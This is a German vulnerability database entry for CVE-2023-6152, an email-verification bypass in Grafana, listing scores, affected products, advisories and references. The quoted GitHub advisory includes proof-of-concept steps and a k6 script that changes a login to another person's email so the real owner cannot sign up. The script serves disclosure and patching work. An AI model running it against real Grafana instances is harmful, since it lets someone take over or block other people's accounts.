CVE-2023-6152
mediumPriorität · verfolgen · 22OT-Risiko · erhöhtEPSS 0.014 · 72. PerzentilDEEURUUSEPSS · bewertet 2026-10-27
A user changing their email after signing up and verifying it can change it without verification in profile settings. The configuration option "verify_email_enabled" will only validate email only on sign up.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (44)
Betroffene Produkte und Versionsbereiche.
- SUSE Manager Client Tools for SLE 12alle Versionencert_bundDEcpe:/a:suse:manager:client_tools_for_sle_12
Advisories (3)
Hersteller- und Ökosystem-Meldungen dazu.
- WID-SEC-W-2024-0358Grafana: Schwachstelle ermöglicht Umgehen von SicherheitsvorkehrungenDeutsch2024-02-13csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in Grafana ausnutzen, um Sicherheitsvorkehrungen zu umgehen.
- GHSA-3hv4-r2fm-h27fEmail Validation Bypass And Preventing Sign Up From Email's Owner2024-02-13ghsa · osvUS
### Summary Email validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in `/profile`. This can be used to prevent legitimate owner of the email address from signing up. Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.  Here user a prevents owner of bar@example.com to signup. ### Details I don't know exact location but this is related to PUT /api/user handler. ### PoC Bypass email validation: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change email to bar@example.com * That's it, your using an email you don't own. Prevent email's owner from signing up: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com) * Signout. * Try to sign up with email [b@example.com](mailto:b@example.com) * Warning popup "User with same email address already exists" K6 script (with `verify_email_enabled` set to `false`): ```js import { check, group } from "k6" import http from "k6/http" export const options = { scenarios: { perVuIter: { executor: 'per-vu-iterations', vus: 1, iterations: 1 } } } const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000" export default function () { group("create user_a with email foo@example.com", () => { const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({ "email": "foo@example.com", "password": "password" }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 }) }) group("change user_a login to bar@example.com", () => { const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({ "email": "foo@example.com", "login": "bar@example.com", // user_b email. }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 }) }) http.cookieJar().clear(GRAFANA_URL) group("create user_b with email bar@example.com", () => { const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({ "email": "bar@example.com", "username": "bar@example.com", "password": "password" }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 // fail }) }) } ``` ### Impact Bypass email verification. Prevent legitimate owner from signing up.
- BIT-grafana-2023-61522024-03-12vendor · osvUS
A user changing their email after signing up and verifying it can change it without verification in profile settings. The configuration option "verify_email_enabled" will only validate email only on sign up.
auch bekannt als (6)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (11)
Externe Belege — Patches, Meldungen, Analysen.
- https://cxsecurity.com/cveshow/CVE-2023-6152/cnnvd
- https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27fcnnvd
- https://github.com/grafana/grafana/releases/tag/v10.3.3Patchcnnvd
- https://grafana.com/security/security-advisories/cve-2023-6152/cnnvd
- https://security.netapp.com/advisory/ntap-20250214-0008/cnnvd
- https://vigilance.fr/vulnerability/Grafana-write-access-via-Email-Change-Verification-43532cnnvd
- https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27fenisa_euvd
- https://grafana.com/security/security-advisories/cve-2023-6152/enisa_euvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan